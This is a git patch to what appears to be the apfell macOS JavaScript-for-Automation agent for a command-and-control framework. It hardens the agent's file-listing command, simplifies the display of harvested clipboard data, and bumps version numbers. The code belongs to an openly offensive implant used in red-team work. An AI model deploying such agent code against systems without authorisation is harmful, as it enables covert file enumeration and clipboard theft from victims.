From c2f8698efa0436aabf1731ff3bef1a61d018681a Mon Sep 17 00:00:00 2001 From: its-a-feature Date: Thu, 29 Feb 2024 14:18:18 -0600 Subject: [PATCH] v1.2.3 fixed an issue with `ls` not working when some attributes are unfetchable --- Payload_Type/apfell/apfell/agent_code/ls.js | 38 ++++++----- .../apfell/apfell/agent_functions/builder.py | 2 +- .../apfell/browser_scripts/clipboard_new.js | 66 ++++++------------- agent_capabilities.json | 2 +- 4 files changed, 44 insertions(+), 64 deletions(-) diff --git a/Payload_Type/apfell/apfell/agent_code/ls.js b/Payload_Type/apfell/apfell/agent_code/ls.js index 26a52dd..f2f43dd 100755 --- a/Payload_Type/apfell/apfell/agent_code/ls.js +++ b/Payload_Type/apfell/apfell/agent_code/ls.js @@ -46,9 +46,8 @@ exports.ls = function(task, command, params){ let time_attr = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), error)); let file_add = {}; file_add['name'] = sub_files[i]; - file_add['is_file'] = attr['NSFileType'] !== "NSFileTypeDirectory"; let plistPerms = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), $())); - if(plistPerms['NSFileExtendedAttributes'] !== undefined){ + if(plistPerms !== undefined && plistPerms['NSFileExtendedAttributes'] !== undefined){ let extended = {}; let perms = plistPerms['NSFileExtendedAttributes'].js; for(let j in perms){ @@ -58,22 +57,27 @@ exports.ls = function(task, command, params){ }else{ file_add['permissions'] = {}; } - file_add['size'] = attr['NSFileSize']; - let nsposix = attr['NSFilePosixPermissions']; - // we need to fix this mess to actually be real permission bits that make sense - file_add['permissions']['posix'] = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString(); - file_add['permissions']['owner'] = attr['NSFileOwnerAccountName'] + "(" + attr['NSFileOwnerAccountID'] + ")"; - file_add['permissions']['group'] = attr['NSFileGroupOwnerAccountName'] + "(" + attr['NSFileGroupOwnerAccountID'] + ")"; - file_add['permissions']['hidden'] = attr['NSFileExtensionAttribute'] === true; - file_add['permissions']['create_time'] = Math.floor(Math.trunc(time_attr['NSFileCreationDate'].timeIntervalSince1970 * 1000)); - if(file_add['permissions']['create_time'] < 0){ - file_add['permissions']['create_time'] = 0; - } - file_add['modify_time'] = Math.floor(Math.trunc(time_attr['NSFileModificationDate'].timeIntervalSince1970 * 1000)); - if(file_add['modify_time'] < 0){ - file_add['modify_time'] = 0; + if(attr !== undefined){ + file_add['is_file'] = attr['NSFileType'] !== "NSFileTypeDirectory"; + file_add['size'] = attr['NSFileSize']; + let nsposix = attr['NSFilePosixPermissions']; + // we need to fix this mess to actually be real permission bits that make sense + file_add['permissions']['posix'] = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString(); + file_add['permissions']['owner'] = attr['NSFileOwnerAccountName'] + "(" + attr['NSFileOwnerAccountID'] + ")"; + file_add['permissions']['group'] = attr['NSFileGroupOwnerAccountName'] + "(" + attr['NSFileGroupOwnerAccountID'] + ")"; + file_add['permissions']['hidden'] = attr['NSFileExtensionAttribute'] === true; + file_add['permissions']['create_time'] = Math.floor(Math.trunc(time_attr['NSFileCreationDate'].timeIntervalSince1970 * 1000)); + if(file_add['permissions']['create_time'] < 0){ + file_add['permissions']['create_time'] = 0; + } + file_add['modify_time'] = Math.floor(Math.trunc(time_attr['NSFileModificationDate'].timeIntervalSince1970 * 1000)); + if(file_add['modify_time'] < 0){ + file_add['modify_time'] = 0; + } + file_add['access_time'] = 0; + } else { + } - file_add['access_time'] = 0; files_data.push(file_add); } output['files'] = files_data; diff --git a/Payload_Type/apfell/apfell/agent_functions/builder.py b/Payload_Type/apfell/apfell/agent_functions/builder.py index 53c3a82..ad93284 100644 --- a/Payload_Type/apfell/apfell/agent_functions/builder.py +++ b/Payload_Type/apfell/apfell/agent_functions/builder.py @@ -13,7 +13,7 @@ class Apfell(PayloadType): supported_os = [SupportedOS.MacOS] wrapper = False wrapped_payloads = [] - note = """This payload uses JavaScript for Automation (JXA) for execution on macOS boxes. Version 0.1.2""" + note = """This payload uses JavaScript for Automation (JXA) for execution on macOS boxes. Version 0.1.3""" supports_dynamic_loading = True c2_profiles = ["http", "dynamichttp"] mythic_encrypts = True diff --git a/Payload_Type/apfell/apfell/browser_scripts/clipboard_new.js b/Payload_Type/apfell/apfell/browser_scripts/clipboard_new.js index 64153a4..83d307b 100644 --- a/Payload_Type/apfell/apfell/browser_scripts/clipboard_new.js +++ b/Payload_Type/apfell/apfell/browser_scripts/clipboard_new.js @@ -12,50 +12,26 @@ function(task, responses){ try{ let data = JSON.parse(responses[0]); let output_table = []; - let all_keys = []; for(const [k,v] of Object.entries(data)){ - all_keys.push(k); - if(k === "public.utf8-plain-text"){ - output_table.push({ - "key":{"plaintext": k}, - "value": {"plaintext": atob(v), "copyIcon": v.length > 0}, - "fetch": {"button": { - "name": "Fetch Data", - "type": "task", - "ui_feature": "clipboard:list", - "parameters": {"read": [k]} - }}, - "view": {"button": { - "name": v=== "" ? "Empty": "View", - "type": "dictionary", - "value": {[k]:atob(v)}, - "disabled": v === "", - "leftColumnTitle": "Key", - "rightColumnTitle": "Values", - "title": "Viewing " + k - }} - }) - }else{ - output_table.push({ - "key":{"plaintext": k}, - "value": {"plaintext": v, "copyIcon": v.length > 0}, - "fetch": {"button": { - "name": "Fetch Data", - "type": "task", - "ui_feature": "clipboard:list", - "parameters":{"read": [k]} - }}, - "view": {"button": { - "name": v=== "" ? "Empty": "View", - "type": "dictionary", - "value": {[k]:v}, - "disabled": v === "", - "leftColumnTitle": "Key", - "rightColumnTitle": "Values", - "title": "Viewing " + k - }} - }) - } + output_table.push({ + "key":{"plaintext": k}, + "value": {"plaintext": atob(v), "copyIcon": v.length > 0}, + "fetch": {"button": { + "name": "Fetch Data", + "type": "task", + "ui_feature": "clipboard:list", + "parameters":{"read": [k]} + }}, + "view": {"button": { + "name": v=== "" ? "Empty": "View", + "type": "dictionary", + "value": {[k]:atob(v)}, + "disabled": v === "", + "leftColumnTitle": "Key", + "rightColumnTitle": "Values", + "title": "Viewing " + k + }} + }) } output_table.push({ "key":{"plaintext": "Fetch All Clipboard Data"}, @@ -80,8 +56,8 @@ function(task, responses){ "table": [ { "headers": [ - {"plaintext": "fetch", "type": "button", "width": 150, "disableSort": true}, - {"plaintext": "view", "type": "button", "width": 100, "disableSort": true}, + {"plaintext": "fetch", "type": "button", "width": 70, "disableSort": true}, + {"plaintext": "view", "type": "button", "width": 70, "disableSort": true}, {"plaintext": "key", "type": "string", "fillWidth": true}, {"plaintext": "value", "type": "string", "fillWidth": true}, diff --git a/agent_capabilities.json b/agent_capabilities.json index c589457..1b519d5 100644 --- a/agent_capabilities.json +++ b/agent_capabilities.json @@ -10,6 +10,6 @@ "architectures": ["x86_64", "arm_64"], "c2": ["http", "dynamichttp"], "mythic_version": "3.2", - "agent_version": "0.1.2", + "agent_version": "0.1.3", "supported_wrappers": [] } \ No newline at end of file